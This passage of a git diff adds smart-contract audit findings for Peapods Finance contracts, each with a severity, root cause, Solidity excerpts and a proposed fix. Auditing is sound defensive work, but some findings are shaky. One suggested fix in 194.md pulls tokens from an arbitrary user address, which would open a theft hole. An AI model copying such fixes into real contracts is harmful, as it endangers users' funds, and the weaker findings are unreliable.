+ require(IDecentralizedIndex(_pod).unlocked() == 1, "OU");
+ if (_underlying == address(0)) {
+ IDecentralizedIndex.IndexAssetInfo[] memory _assets = IDecentralizedIndex(_pod).getAllAssets();
+ _underlying = _assets[0].token;
+ }
+ uint256 _pTknAmt =
+ (_amtUnderlying * 10 ** IERC20Metadata(_pod).decimals()) / 10 ** IERC20Metadata(_underlying).decimals();
+ return IDecentralizedIndex(_pod).convertToAssets(_pTknAmt);
+ }
+```
+
+### Root Cause
+
+The value of `_percSharesX96_2` is incorrect when `_firstIn==true`.
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+No matter how much the `_share` is, the corresponding `_asset` value is fixed to be `10 ** IERC20Metadata(_tokens[0]).decimals()`. Since the function `convertToAssets` is also used by the contract `spTKNMinimalOracle` to calculate the prices, so this will lead to incorrect oracle prices.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Change the value of `_percSharesX96_2` to be `_shares * 2 ** (96 / 2) /(10 ** decimals())` when `_firstIn==true`.
diff --git a/183.md b/183.md
new file mode 100644
index 0000000..994fd4b
--- /dev/null
+++ b/183.md
@@ -0,0 +1,67 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `staleAfterLastRefresh` is hardcoded to the wrong value
+
+### Summary
+
+`staleAfterLastRefresh` is hardcoded to 60min, however nowhere in the [DIA docs](https://docs.diadata.org/use-nexus-product/nexus/data-delivery-usage) is this threshold mentioned. We can see that the standard feed update time is 2min, making the 60min mark outdated.
+
+
+Example of an oracles:
+ETH - update frequency 120s -> https://www.diadata.org/app/price/asset/Ethereum/0x0000000000000000000000000000000000000000/
+BTC - update frequency 120s -> https://www.diadata.org/app/price/asset/Bitcoin/0x0000000000000000000000000000000000000000/
+
+### Root Cause
+
+DIA standard oracle price updates are every 2min, meaning that a price 20 or 30 minutes old would be considered stale, however our oracle would count it as fresh.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/DIAOracleV2SinglePriceOracle.sol#L8-L24
+```solidity
+contract DIAOracleV2SinglePriceOracle is ChainlinkSinglePriceOracle {
+ uint256 public staleAfterLastRefresh = 60 minutes;
+
+ constructor(address _sequencer) ChainlinkSinglePriceOracle(_sequencer) {}
+
+ function getPriceUSD18(
+ address _clBaseConversionPoolPriceFeed,
+ address _quoteToken,
+ address _quoteDIAOracle,
+ uint256
+ ) external view virtual override returns (bool _isBadData, uint256 _price18) {
+ string memory _symbol = IERC20Metadata(_quoteToken).symbol();
+
+ (uint128 _quotePrice8, uint128 _refreshedLast) =
+ IDIAOracleV2(_quoteDIAOracle).getValue(string.concat(_symbol, "/USD"));
+
+ if (_refreshedLast + staleAfterLastRefresh < block.timestamp) {
+ _isBadData = true;
+ }
+```
+
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+There is no attack path, just the oracle `staleAfterLastRefresh` is hard coded to 1 value for all oracles. It's also the wrong value.
+
+### Impact
+
+Oracle can have outdated price and our `DIAOracleV2SinglePriceOracle` would still consider it fresh. This will prob. lead to problems with liquidation (early/late) inside frax or improper slippage accounting inside `AutoCompoundingPodLp`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider changing it to default of 2min and add a mapping for every oracle to have it's own `staleAfterLastRefresh` in case any custom ones were to be used in the future.
\ No newline at end of file
diff --git a/184.md b/184.md
new file mode 100644
index 0000000..9ad5f71
--- /dev/null
+++ b/184.md
@@ -0,0 +1,16 @@
+Passive Pastel Hippo
+
+Medium
+
+# When using the stake function to stake assets and receive votes, it results in the re-locking of assets that the user has already unlocked.
+
+### Summary
+
+The `stake` function in the `VotingPool` contract does not take into account the user's existing initial assets when locking the new assets deposited by the user, leading to the erroneous re-locking of assets that have already been unlocked.
+
+### Root Cause
+
+Users stake their assets and acquire votes by calling the stake function of the `VotingPool` contract. During the period specified by `lockupPeriod`, the assets the user has staked will be locked until the period expires, at which point they can be `unstake`. The relevant code is as follows:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L38-L45
+However, there is a scenario in which the user has already staked a portion of their initial assets using the `stake` function. After a certain amount of time has passed (greater than the `lockupPeriod`), the user's initial assets may be in an unlocked state. If at this point the user wishes to earn more votes by staking additional assets, they need to call the `stake` function again to stake the extra assets. As a result, the initially unlocked assets will be re-locked alongside the newly staked additional assets. This leads to the situation where the user's initially unlocked assets are mistakenly locked again for an additional period, preventing extraction during the time they should be in an unlocked state.
+
diff --git a/185.md b/185.md
new file mode 100644
index 0000000..abe6720
--- /dev/null
+++ b/185.md
@@ -0,0 +1,109 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Open fee is overcharged in `_addLeveragePostCallback` function
+
+### Summary
+
+In the `_addLeveragePostCallback` function, the user pays an open fee proportional to `pairedLpDesired`, which is the amount of `pairedLPToken` that the user has decided to use for `lpAndStakeInPod`.
+In fact, there are `pairedLPToken` that are used for `lpAndStakeInPod` and leftover. It is inccorect to pay fees for these leftover tokens.
+In short, fees are overpaid by first calculating the fees without any guarantee that all `pairedLPToken`s are used for `lpAndStakeInPod`..
+
+### Root Cause
+
+In the [`_addLeveragePostCallback`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L315-L318) function, the user actually pays by the amount of `pairedLPToken` that he has desired, not by the amount of `pairedLPToken` used for `lpAndStakeInPod`.
+
+`pairedLPToken` reduced by `_openFeeAmt` from the user desired amount , is really used in `lpAndStakeInPod`, and after calling `_lpAndStakeInPod`, `pairedLPToken` remains as much as `_pairedLeftover`.
+
+The amount of `pairedLPToken` used in `lpAndStakeInPod` is returned from `_lpAndStakeInPod` function as the second return value.
+
+```solidity
+ function _addLeveragePostCallback(bytes memory _data) internal returns (uint256 _ptknRefundAmt) {
+ IFlashLoanSource.FlashData memory _d = abi.decode(_data, (IFlashLoanSource.FlashData));
+ (LeverageFlashProps memory _props,) = abi.decode(_d.data, (LeverageFlashProps, bytes));
+ (uint256 _overrideBorrowAmt,,) = abi.decode(_props.config, (uint256, uint256, uint256));
+ address _pod = positionProps[_props.positionId].pod;
+ uint256 _borrowTknAmtToLp = _props.pairedLpDesired;
+ // if there's an open fee send debt/borrow token to protocol
+ if (openFeePerc > 0) {
+ uint256 _openFeeAmt = (_borrowTknAmtToLp * openFeePerc) / 1000;
+ IERC20(_d.token).safeTransfer(feeReceiver, _openFeeAmt);
+ _borrowTknAmtToLp -= _openFeeAmt;
+ }
+@> (uint256 _pTknAmtUsed,, uint256 _pairedLeftover) = _lpAndStakeInPod(_d.token, _borrowTknAmtToLp, _props);
+ _ptknRefundAmt = _props.pTknAmt - _pTknAmtUsed;
+ ...
+ }
+```
+
+The user overpays the fee by paying the fee before executing `lpAndStakeInPod`, even though it is not known exactly how much `pairedLPToken` will be used in `lpAndStakeInPod`.
+If the user does not accurately calculate the amount of Pod tokens and `pairedLPToken` required for `lpAndStakeInPod` and sets `pairedLpDesired` to a value larger than the amount of Pod tokens, the consequence of overpaying fees is more serious.
+
+### Attack Path
+
+1. User sets the pod token and `pairedLPToken` amount like this:
+ `pTknAmt = 100`, `pairedLpDesired = 140`, `openFeePerc=5%`
+2. Amount of `pairedLPToken` is decreased by `openFeeAmt`.
+ `_openFeeAmt = 7`, `_borrowTknAmtToLp = pairedLpDesired - _openFeeAmt = 133`
+3. After `_lpAndStakeInPod`, remaining `pairedLPToken` amount in contract is `20`. This means real used amount of the pod token and `pairedLPToken` for `_lpAndStakeInPod` is 100 and 113.
+4. User also paid the open fee for the `pairedLPToken` of 20 that was not used for `_lpAndStakeInPod`.
+
+### Impact
+
+Users will pay more open fees than the amount of `pairedLPToken` actually used for `lpAndStakeInPod`.
+
+### Mitigation
+- First decrease `_borrowTknAmtToLp` by `openFeePerc` and execute `_lpAndStakeInPod`, and then calculate the open fee again.
+```solidity
+ function _addLeveragePostCallback(bytes memory _data) internal returns (uint256 _ptknRefundAmt) {
+ ...
+ if (openFeePerc > 0) {
+ uint256 _openFeeAmt = (_borrowTknAmtToLp * openFeePerc) / 1000;
+-- IERC20(_d.token).safeTransfer(feeReceiver, _openFeeAmt);
+ _borrowTknAmtToLp -= _openFeeAmt;
+ }
+-- (uint256 _pTknAmtUsed,, uint256 _pairedLeftover) = _lpAndStakeInPod(_d.token, _borrowTknAmtToLp, _props);
+++ (uint256 _pTknAmtUsed, uint256 _pairedLpUsed, uint256 _pairedLeftover) = _lpAndStakeInPod(_d.token, _borrowTknAmtToLp, _props);
+
+++ if (openFeePerc > 0) {
+++ _openFeeAmt = (_pairedLpUsed * openFeePerc) / 1000;
+++ IERC20(_d.token).safeTransfer(feeReceiver, _openFeeAmt);
+++ }
+ ...
+ }
+```
+
+- Or calculate the open fee based on the amount really used for `_lpAndStakeInPod`.
+
+```solidity
+ function _addLeveragePostCallback(bytes memory _data) internal returns (uint256 _ptknRefundAmt) {
+ ...
+-- if (openFeePerc > 0) {
+-- uint256 _openFeeAmt = (_borrowTknAmtToLp * openFeePerc) / 1000;
+-- IERC20(_d.token).safeTransfer(feeReceiver, _openFeeAmt);
+-- _borrowTknAmtToLp -= _openFeeAmt;
+-- }
+-- (uint256 _pTknAmtUsed,, uint256 _pairedLeftover) = _lpAndStakeInPod(_d.token, _borrowTknAmtToLp, _props);
+++ (uint256 _pTknAmtUsed, uint256 _pairedLpUsed, uint256 _pairedLeftover) = _lpAndStakeInPod(_d.token, _borrowTknAmtToLp, _props);
+
+ uint256 _aspTknCollateralBal = _spTknToAspTkn(IDecentralizedIndex(_pod).lpStakingPool(), _pairedLeftover, _props);
+
+ uint256 _flashPaybackAmt = _d.amount + _d.fee;
+ uint256 _borrowAmt = _overrideBorrowAmt > _flashPaybackAmt ? _overrideBorrowAmt : _flashPaybackAmt;
+
+++ _borrowAmt += (_pairedLpUsed * openFeePerc) / 1000
+
+ address _aspTkn = _getAspTkn(_props.positionId);
+ IERC20(_aspTkn).safeTransfer(positionProps[_props.positionId].custodian, _aspTknCollateralBal);
+ LeveragePositionCustodian(positionProps[_props.positionId].custodian).borrowAsset(
+ positionProps[_props.positionId].lendingPair, _borrowAmt, _aspTknCollateralBal, address(this)
+ );
+
+++ if (openFeePerc > 0) {
+++ uint256 _openFeeAmt = (_borrowTknAmtToLp * openFeePerc) / 1000;
+++ IERC20(_d.token).safeTransfer(feeReceiver, _openFeeAmt);
+++ }
+ ...
+ }
+```
\ No newline at end of file
diff --git a/186.md b/186.md
new file mode 100644
index 0000000..ae1196b
--- /dev/null
+++ b/186.md
@@ -0,0 +1,47 @@
+Joyous Midnight Goat
+
+Medium
+
+# External Call Risks in _deploy
+
+### Summary
+
+The _deploy function uses assembly with create2, but does not check for contract existence after deployment.
+Risk: If _bytecode is invalid or _finalSalt is reused improperly, it could lead to failed deployments or collisions.
+
+ function _deploy(bytes memory _bytecode, uint256 _finalSalt) internal returns (address _addr) {
+ assembly {
+ _addr := create2(callvalue(), add(_bytecode, 0x20), mload(_bytecode), _finalSalt)
+ if iszero(_addr) { revert(0, 0) }
+ }
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLpFactory.sol#L80
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Validate _addr using extcodesize:
+
+require(_addr.code.length > 0, "Deployment failed");
\ No newline at end of file
diff --git a/187.md b/187.md
new file mode 100644
index 0000000..fdc1d5f
--- /dev/null
+++ b/187.md
@@ -0,0 +1,62 @@
+Fast Khaki Raccoon
+
+High
+
+# `_minPtknOut` value is completely incorrect due to wrong implementation
+
+### Summary
+
+`_minPtknOut` value is completely incorrect due to wrong implementation
+
+### Root Cause
+
+Upon the reward processing flow in `AutoCompoundingPodLp`, we have the following code to compute the minimum pod tokens:
+```solidity
+if (address(podOracle) != address(0)) {
+ _minPtknOut = (podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+```
+The flow of `getPodPerBasePrice()` is completely incorrect and makes no sense. We call this function:
+```solidity
+ function getPodPerBasePrice() external view override returns (uint256 _pricePTknPerBase18) {
+ _pricePTknPerBase18 = 10 ** (18 * 2) / _calculateBasePerPTkn(0);
+ }
+```
+We get the base per `pTKN` and we inverse it to get the `pTKN` per base. This means that `_calculateBasePerPTkn()` should return the amount of base tokens per each `pTKN` for this to be correct. There, we have the following code:
+```solidity
+(_isBadData, _price18) = _getDefaultPrice18();
+```
+It gets the underlying token's USD price in 18 decimals:
+```solidity
+(UNISWAP_V3_SINGLE_PRICE_ORACLE).getPriceUSD18(BASE_CONVERSION_CHAINLINK_FEED, underlyingTkn, UNDERLYING_TKN_CL_POOL, twapInterval);
+```
+Then, that same value is used like this during the `_accountForCBRInPrice()` flow:
+```solidity
+uint256 _pTknAmt = (_amtUnderlying * 10 ** IERC20Metadata(_pod).decimals()) / 10 ** IERC20Metadata(_underlying).decimals();
+return IDecentralizedIndex(_pod).convertToAssets(_pTknAmt);
+```
+The underlying token USD price is used to convert from the underlying pod token to the asset of the pod. Then, this is the value returned (ignoring the debond fee for simplicity) from `__calculateBasePerPTkn()`. This is clearly incorrect as this does not return the amount of base tokens per each `pTKN` as the input to `convertToassets()` is not a single `pTKN` but an amount of tokens dependent on its underlying token USD value. This means that the inversion will then be completely incorrect and thus the `_minPtknOut` value will either be super big or super small depending on the USD value.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path, explained in `Root Cause`
+
+### Impact
+
+Either a revert due to an unrealistic min amount out or a theft of funds due to very high slippage provided.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Refactor the flow fully, it is completely incorrect and makes no sense
\ No newline at end of file
diff --git a/188.md b/188.md
new file mode 100644
index 0000000..3b0fc42
--- /dev/null
+++ b/188.md
@@ -0,0 +1,55 @@
+Joyous Midnight Goat
+
+Medium
+
+# No Slippage Protection in _feeSwap
+
+### Summary
+
+_feeSwap() executes swaps without verifying if the slippage is acceptable.
+Potential Attack: A low liquidity pool could be drained by forcing a bad swap
+
+ function _feeSwap(uint256 _amount) internal {
+ _approve(address(this), address(DEX_HANDLER), _amount);
+ address _rewards = IStakingPoolToken(lpStakingPool).POOL_REWARDS();
+ uint256 _pairedLpBalBefore = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards);
+@>> DEX_HANDLER.swapV2Single(address(this), PAIRED_LP_TOKEN, _amount, 0, _rewards);
+
+ if (PAIRED_LP_TOKEN == lpRewardsToken) {
+ uint256 _newPairedLpTkns = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) - _pairedLpBalBefore;
+ if (_newPairedLpTkns > 0) {
+ ITokenRewards(_rewards).depositRewardsNoTransfer(PAIRED_LP_TOKEN, _newPairedLpTkns);
+ }
+ } else if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
+ ITokenRewards(_rewards).depositFromPairedLpToken(0);
+ }
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L232
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ Implement slippage control when swapping.
+
diff --git a/189.md b/189.md
new file mode 100644
index 0000000..49467e6
--- /dev/null
+++ b/189.md
@@ -0,0 +1,51 @@
+Joyous Midnight Goat
+
+Medium
+
+# Blacklist Bypass Risk
+
+### Summary
+
+The _update function checks _blacklist[_to], but does not check _from.
+Potential Attack: A blacklisted address could still transfer tokens out and bypass restrictions.
+
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ @> require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L159
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ Add require(!_blacklist[_from], "BK") in _update().
+
+
+
diff --git a/190.md b/190.md
new file mode 100644
index 0000000..6f6ff95
--- /dev/null
+++ b/190.md
@@ -0,0 +1,55 @@
+Joyous Midnight Goat
+
+Medium
+
+# Lack of Input Validation in deployNewIndex()
+
+### Summary
+
+Risk: The function calls podFactory.deployPodAndLinkDependencies(), but there is no check on the returned _index value.
+Attack: A malicious factory contract could return an arbitrary address as _index, leading to unauthorized control.
+
+ function deployNewIndex(
+ string memory indexName,
+ string memory indexSymbol,
+ bytes memory baseConfig,
+ bytes memory immutables
+ ) external override returns (address _index) {
+ (_index,,) = podFactory.deployPodAndLinkDependencies(indexName, indexSymbol, baseConfig, immutables);
+ _addIndex(_index, _msgSender(), false, false, false);
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexManager.sol#L36
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Ensure the _index is a valid contract address before adding it.
+
+
+require(_index != address(0), "Invalid index address");
+require(Address.isContract(_index), "Index must be a contract");
+
+
+
diff --git a/191.md b/191.md
new file mode 100644
index 0000000..b1102c0
--- /dev/null
+++ b/191.md
@@ -0,0 +1,93 @@
+Joyous Midnight Goat
+
+Medium
+
+# Front-Running in addLPAndStake()
+
+### Summary
+
+Front-Running in addLPAndStake()
+The function relies on _amountPairedLpTokenMin, which is susceptible to front-running attacks where an attacker manipulates slippage by sandwiching transactions.
+ function addLPAndStake(
+ IDecentralizedIndex _indexFund,
+ uint256 _amountIdxTokens,
+ address _pairedLpTokenProvided,
+ uint256 _amtPairedLpTokenProvided,
+ uint256 _amountPairedLpTokenMin,
+ uint256 _slippage,
+ uint256 _deadline
+ ) external payable override returns (uint256 _amountOut) {
+ address _indexFundAddy = address(_indexFund);
+ address _pairedLpToken = _indexFund.PAIRED_LP_TOKEN();
+ uint256 _idxTokensBefore = IERC20(_indexFundAddy).balanceOf(address(this));
+ uint256 _pairedLpTokenBefore = IERC20(_pairedLpToken).balanceOf(address(this));
+ uint256 _ethBefore = address(this).balance - msg.value;
+ IERC20(_indexFundAddy).safeTransferFrom(_msgSender(), address(this), _amountIdxTokens);
+ if (_pairedLpTokenProvided == address(0)) {
+ require(msg.value > 0, "NEEDETH");
+ _amtPairedLpTokenProvided = msg.value;
+ } else {
+ IERC20(_pairedLpTokenProvided).safeTransferFrom(_msgSender(), address(this), _amtPairedLpTokenProvided);
+ }
+ if (_pairedLpTokenProvided != _pairedLpToken) {
+ _zap(_pairedLpTokenProvided, _pairedLpToken, _amtPairedLpTokenProvided, _amountPairedLpTokenMin);
+ }
+
+ IERC20(_pairedLpToken).safeIncreaseAllowance(
+ _indexFundAddy, IERC20(_pairedLpToken).balanceOf(address(this)) - _pairedLpTokenBefore
+ );
+
+ // keeping 1 wei of each asset on the CA reduces transfer gas cost due to non-zero storage
+ // so worth it to keep 1 wei in the CA if there's not any here already
+ _amountOut = _indexFund.addLiquidityV2(
+ IERC20(_indexFundAddy).balanceOf(address(this)) - (_idxTokensBefore == 0 ? 1 : _idxTokensBefore),
+ IERC20(_pairedLpToken).balanceOf(address(this)) - (_pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore),
+ _slippage,
+ _deadline
+ );
+ require(_amountOut > 0, "LPM");
+
+ IERC20(DEX_ADAPTER.getV2Pool(_indexFundAddy, _pairedLpToken)).safeIncreaseAllowance(
+ _indexFund.lpStakingPool(), _amountOut
+ );
+ _amountOut = _stakeLPForUserHandlingLeftoverCheck(_indexFund.lpStakingPool(), _msgSender(), _amountOut);
+
+ // refunds if needed for index tokens and pairedLpToken
+ if (address(this).balance > _ethBefore) {
+ (bool _s,) = payable(_msgSender()).call{value: address(this).balance - _ethBefore}("");
+ require(_s && address(this).balance >= _ethBefore, "TOOMUCH");
+ }
+ _checkAndRefundERC20(_msgSender(), _indexFundAddy, _idxTokensBefore == 0 ? 1 : _idxTokensBefore);
+ _checkAndRefundERC20(_msgSender(), _pairedLpToken, _pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore);
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexUtils.sol#L51
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use time-bound transactions:
+
+require(block.timestamp <= _deadline, "EXPIRED");
+
diff --git a/192.md b/192.md
new file mode 100644
index 0000000..6d046d8
--- /dev/null
+++ b/192.md
@@ -0,0 +1,110 @@
+Joyous Midnight Goat
+
+Medium
+
+# earlyWithdraw() Can Be Exploited to Avoid Penalty
+
+### Summary
+
+If a user calls withdraw() instead of earlyWithdraw() after their unlock time, they avoid the penalty fee.
+A malicious actor can monitor the blockchain and time their withdrawal to avoid paying extra.
+ function earlyWithdraw(uint256 _lockId) external nonReentrant {
+ LockInfo storage _lock = locks[_lockId];
+
+ // If already unlocked, use regular withdraw instead
+ if (block.timestamp >= _lock.unlockTime) {
+ _withdraw(_msgSender(), _lockId);
+ return;
+ }
+
+ require(_lock.user == _msgSender(), "W1");
+ require(!_lock.withdrawn, "W2");
+
+ _lock.withdrawn = true;
+ address _feeRecipient = Ownable(FEE_RECIPIENT_OWNABLE).owner();
+
+ IDecentralizedIndex.Fees memory _podFees = IDecentralizedIndex(_lock.pod).fees();
+ uint256 _debondFee = _podFees.debond;
+
+ // Penalty = debond fee + 10%
+ uint256 _penaltyBps = _debondFee + _debondFee / 10;
+ uint256[] memory _penalizedAmounts = new uint256[](_lock.tokens.length);
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+ uint256 _penaltyAmount = (_lock.amounts[i] * _penaltyBps) / 10000;
+ _penaltyAmount = _penaltyAmount == 0 && _debondFee > 0 ? 1 : _penaltyAmount;
+ _penalizedAmounts[i] = _lock.amounts[i] - _penaltyAmount;
+ if (_penaltyAmount > 0) {
+ IERC20(_lock.tokens[i]).safeTransfer(_feeRecipient, _penaltyAmount);
+ }
+ IERC20(_lock.tokens[i]).safeTransfer(_msgSender(), _penalizedAmounts[i]);
+ }
+ }
+
+ emit EarlyWithdrawal(_lockId, _msgSender(), _lock.tokens, _penalizedAmounts, _penaltyBps);
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L107
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+
+Ensure earlyWithdraw() cannot be used after unlockTime by removing the automatic call to _withdraw().
+
+function earlyWithdraw(uint256 _lockId) external nonReentrant {
+ LockInfo storage _lock = locks[_lockId];
+
+ require(_lock.user == _msgSender(), "W1");
+ require(!_lock.withdrawn, "W2");
+ require(block.timestamp < _lock.unlockTime, "W3"); //
+ _lock.withdrawn = true;
+ address _feeRecipient = Ownable(FEE_RECIPIENT_OWNABLE).owner();
+
+ IDecentralizedIndex.Fees memory _podFees = IDecentralizedIndex(_lock.pod).fees();
+ uint256 _debondFee = _podFees.debond;
+
+ uint256 _penaltyBps = _debondFee + _debondFee / 10;
+ uint256[] memory _penalizedAmounts = new uint256[](_lock.tokens.length);
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+ uint256 _penaltyAmount = (_lock.amounts[i] * _penaltyBps) / 10000;
+ _penaltyAmount = _penaltyAmount == 0 && _debondFee > 0 ? 1 : _penaltyAmount;
+ _penalizedAmounts[i] = _lock.amounts[i] - _penaltyAmount;
+
+ if (_penaltyAmount > 0) {
+ IERC20(_lock.tokens[i]).safeTransfer(_feeRecipient, _penaltyAmount);
+ }
+ IERC20(_lock.tokens[i]).safeTransfer(_msgSender(), _penalizedAmounts[i]);
+ }
+ }
+
+ emit EarlyWithdrawal(_lockId, _msgSender(), _lock.tokens, _penalizedAmounts, _penaltyBps);
+}
+🔹 Key Fixes:
+
+Added require(block.timestamp < _lock.unlockTime, "W3"); to ensure penalty is enforced.
+Removed automatic _withdraw() call to prevent penalty evasion.
diff --git a/193.md b/193.md
new file mode 100644
index 0000000..4e14acd
--- /dev/null
+++ b/193.md
@@ -0,0 +1,69 @@
+Atomic Syrup Leopard
+
+Medium
+
+# `removeLeverage` function in `LeverageManager` contract might fail because of rounding down in shares calculation
+
+### Summary
+
+In `removeLeverage` function, it swaps `pTkn` into `borrowTkn` to repay flash loan. When the pod has self-lending pair, it swaps `pTkn` into `fBorrowAsset` and then redeems borrow asset from fraxlend pair. However, when calculating the amount of `fBorrowAsset` to redeem, it uses `convertToShares` function of `fraxlendPair` contract. Since `convertToShares` uses rounding down in division, it might provide less borrow asset than required in `redeem` function, thus failing to repay flash loan.
+
+### Root Cause
+
+The root cause is because of using [`convertToShares`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L439) in calculating output amount of swap.
+
+### Internal Pre-conditions
+
+- The pod has self-lending pair
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+- Alice wants to remove leverage from her position, thus calling `removeLeverage` function
+- The pod has self-lending pair, e.g. borrow asset is `DAI` which makes the lending-pair `fDAI`
+- Let's say Alice needs to pay 1000 DAI to repay flash loan, but she's got 900 DAI from unstaking
+- Some amount of `pTkn` needs to be swapped into 100 DAI to fill flash loan payback amount
+- Since it's self-lending pair, `pTkn / fDAI` pair exists in Uniswap V2, so it converts `DAI` to `fDAI` using `convertToShares`
+- After `pTkn` is swapped into `fDAI`, `redeem` is called to retrieve `DAI` from `fDAI`, but it also does rounding down
+- At the end, the DAI amounts retrieved is less than 100 DAI, perhaps 99.9999... DAI
+- As a result, 1000 DAI flash loan payback amount can't be satisfied
+- `removeLeverage` reverts
+
+### Impact
+
+Users can't remove leverage from their position, thus causing DoS.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Instead of using `convertToShares`, use `toAssetShares` function of `fraxlendPair` contract.
+
+```diff
+ if (_borrowAmtNeededToSwap > 0) {
+ if (_isPodSelfLending(_props.positionId)) {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod,
+ positionProps[_props.positionId].lendingPair,
+ _podAmtReceived,
+- IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
++ IFraxlendPair(positionProps[_props.positionId].lendingPair).toAssetShares(_borrowAmtNeededToSwap, true, true),
+ _podSwapAmtOutMin
+ );
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
+ IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
+ address(this),
+ address(this)
+ );
+ } else {
+ _podAmtRemaining = _swapPodForBorrowToken(
+ _pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin
+ );
+ }
+ }
+```
diff --git a/194.md b/194.md
new file mode 100644
index 0000000..4f53a63
--- /dev/null
+++ b/194.md
@@ -0,0 +1,72 @@
+Joyous Midnight Goat
+
+Medium
+
+# stake() Allows Users to Stake for Themselves Only
+
+### Summary
+
+The function signature suggests users should be able to stake for others.
+However, safeTransferFrom() is called from _msgSender(), not _user, meaning _user can't be different from _msgSender().
+ function stake(address _user, uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
+ if (stakeUserRestriction != address(0)) {
+ require(_user == stakeUserRestriction, "U");
+ }
+ _mint(_user, _amount);
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+ emit Stake(_msgSender(), _user, _amount);
+ }
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L67
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+
+Modify stake() to pull funds from _user, not _msgSender().
+Or, enforce _user == _msgSender() to prevent confusion.
+ (Option 1 - Allow Staking for Others)
+
+function stake(address _user, uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
+ if (stakeUserRestriction != address(0)) {
+ require(_user == stakeUserRestriction, "U");
+ }
+ _mint(_user, _amount);
+ IERC20(stakingToken).safeTransferFrom(_user, address(this), _amount); //
+ emit Stake(_msgSender(), _user, _amount);
+}
+ (Option 2 - Restrict Staking to Self)
+
+
+function stake(uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
